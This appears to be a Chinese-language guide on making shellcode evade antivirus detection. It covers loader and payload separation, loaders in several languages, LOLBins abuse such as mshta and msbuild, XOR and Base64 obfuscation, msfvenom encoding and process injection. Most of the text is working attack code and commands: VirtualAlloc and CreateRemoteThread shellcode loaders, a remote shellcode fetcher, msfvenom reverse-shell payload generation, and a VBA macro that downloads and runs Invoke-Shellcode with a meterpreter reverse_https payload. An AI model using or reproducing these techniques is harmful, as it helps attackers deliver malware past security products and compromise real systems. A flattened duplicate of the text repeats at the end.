那些shellcode免杀总结
字数 1046 2025-08-24 16:48:07

Shellcode免杀技术全面指南

一、Shellcode免杀概述

Shellcode免杀技术主要分为两大类:分离混淆。这两种方法针对不同的检测机制,包括特征检测、行为检测和云查杀。

二、分离免杀技术

1. 加载器与Shellcode分离

传统Shellcode加载方式容易被检测,分离思想是将执行Shellcode和加载程序分开。

常见C/C++加载方式

  • 函数指针执行
  • 内联汇编指令
  • 伪指令

远程获取Shellcode示例

#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")

using namespace std;

void main() {
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
    BOOL bResults = FALSE;
    
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    
    if (hSession) {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }
    
    // ... [省略部分代码]
    
    char *ShellCode = (char *)calloc(code_length/2, sizeof(unsigned char));
    for (size_t count = 0; count < code_length/2; count++) {
        sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
        pszOutBuffer += 2;
    }
    
    void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, ShellCode, sizeof ShellCode);
    ((void(*)())exec)();
}

2. 加载器实现方式

常见加载器类型

  • C#加载器:使用VirtualAlloc、CreateThread等API
  • Python加载器:使用ctypes调用Windows API
  • Go加载器:内联C调用
  • 资源加载:如CPLResourceRunner
  • 内存映射文件(MMF):使用MemoryMappedFile类

C#加载器示例

using System;
using System.Runtime.InteropServices;

namespace TCPMeterpreterProcess {
    class Program {
        static void Main(string[] args) {
            byte[] shellcode = new byte[333] { /* shellcode */ };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
        
        // ... [省略API声明]
    }
}

3. LOLBins白利用技术

LOLBins(Living-Off-the-Land Binaries)利用系统自带白名单程序执行恶意代码。

常见白利用技术

  • mshta:通过HTA文件执行
  • msiexec:安装恶意MSI包
  • msbuild:执行内联任务
  • installutil:.NET安装工具
  • wmic:使用XSL脚本
  • csc:C#编译器

mshta示例

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin
cat shellcode.bin | base64 -w 0
mshta.exe http://192.168.174.134/qing.hta

三、混淆免杀技术

1. Shellcode编码混淆

常见编码方式

  • XOR异或加密
  • Base64编码
  • 十六进制编码
  • AES加密

C# XOR加密示例

private static byte[] xor(byte[] cipher, byte[] key) {
    byte[] decrypted = new byte[cipher.Length];
    for(int i = 0; i < cipher.Length; i++) {
        decrypted[i] = (byte)(cipher[i] ^ key[i % key.Length]);
    }
    return decrypted;
}

static void Main() {
    byte[] encryptedShellcode = new byte[] { /* 加密后的shellcode */ };
    string key = "qing";
    byte[] shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
    
    UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
    // ... [执行shellcode]
}

Python Base64示例

import ctypes
import sys
import base64

shellcode = bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# ... [执行shellcode]

2. MSFVenom编码器

msfvenom -l encoder  # 查看可用编码器
msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe LHOST=1.1.1.1 LPORT=4444 -a x86 --platform win -f exe -o a.exe
msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe LHOST=1.1.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > b.exe

3. Shellcode注入技术

常见注入方式

  • BDF(Backdoor Factory):利用程序裂缝注入
  • Shellter:动态注入工具
  • AVET:反病毒规避工具
  • 进程注入:创建挂起进程后注入

进程注入示例

BOOL injection() {
    wchar_t Cappname[MAX_PATH] = {0};
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    // ... [初始化]
    
    if(CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0) {
        return bRet;
    }
    
    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode)+1, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, sizeof(shellcode)+1, NULL);
    hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
    // ... [等待执行]
}

四、组合技术应用

将多种技术组合使用可以达到更好的免杀效果。

示例:Powershell+Excel+VBA宏

Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

进程注入+Powershell

Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
$Proc = Get-Process notepad
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

五、关键点总结

  1. 分离思想:将Shellcode与加载器分离,减少静态特征
  2. 多样化加载:使用不同语言实现加载器增加检测难度
  3. 白名单利用:利用系统自带程序规避行为检测
  4. 编码混淆:破坏Shellcode静态特征
  5. 注入技术:隐藏恶意代码执行过程
  6. 组合使用:多种技术结合实现更好的免杀效果

通过合理组合这些技术,可以有效绕过杀毒软件的特征检测、行为检测和云查杀机制。

Shellcode免杀技术全面指南 一、Shellcode免杀概述 Shellcode免杀技术主要分为两大类: 分离 和 混淆 。这两种方法针对不同的检测机制,包括特征检测、行为检测和云查杀。 二、分离免杀技术 1. 加载器与Shellcode分离 传统Shellcode加载方式容易被检测,分离思想是将执行Shellcode和加载程序分开。 常见C/C++加载方式 函数指针执行 内联汇编指令 伪指令 远程获取Shellcode示例 2. 加载器实现方式 常见加载器类型 C#加载器 :使用VirtualAlloc、CreateThread等API Python加载器 :使用ctypes调用Windows API Go加载器 :内联C调用 资源加载 :如CPLResourceRunner 内存映射文件(MMF) :使用MemoryMappedFile类 C#加载器示例 3. LOLBins白利用技术 LOLBins(Living-Off-the-Land Binaries)利用系统自带白名单程序执行恶意代码。 常见白利用技术 mshta :通过HTA文件执行 msiexec :安装恶意MSI包 msbuild :执行内联任务 installutil :.NET安装工具 wmic :使用XSL脚本 csc :C#编译器 mshta示例 三、混淆免杀技术 1. Shellcode编码混淆 常见编码方式 XOR异或加密 Base64编码 十六进制编码 AES加密 C# XOR加密示例 Python Base64示例 2. MSFVenom编码器 3. Shellcode注入技术 常见注入方式 BDF(Backdoor Factory) :利用程序裂缝注入 Shellter :动态注入工具 AVET :反病毒规避工具 进程注入 :创建挂起进程后注入 进程注入示例 四、组合技术应用 将多种技术组合使用可以达到更好的免杀效果。 示例:Powershell+Excel+VBA宏 进程注入+Powershell 五、关键点总结 分离思想 :将Shellcode与加载器分离,减少静态特征 多样化加载 :使用不同语言实现加载器增加检测难度 白名单利用 :利用系统自带程序规避行为检测 编码混淆 :破坏Shellcode静态特征 注入技术 :隐藏恶意代码执行过程 组合使用 :多种技术结合实现更好的免杀效果 通过合理组合这些技术,可以有效绕过杀毒软件的特征检测、行为检测和云查杀机制。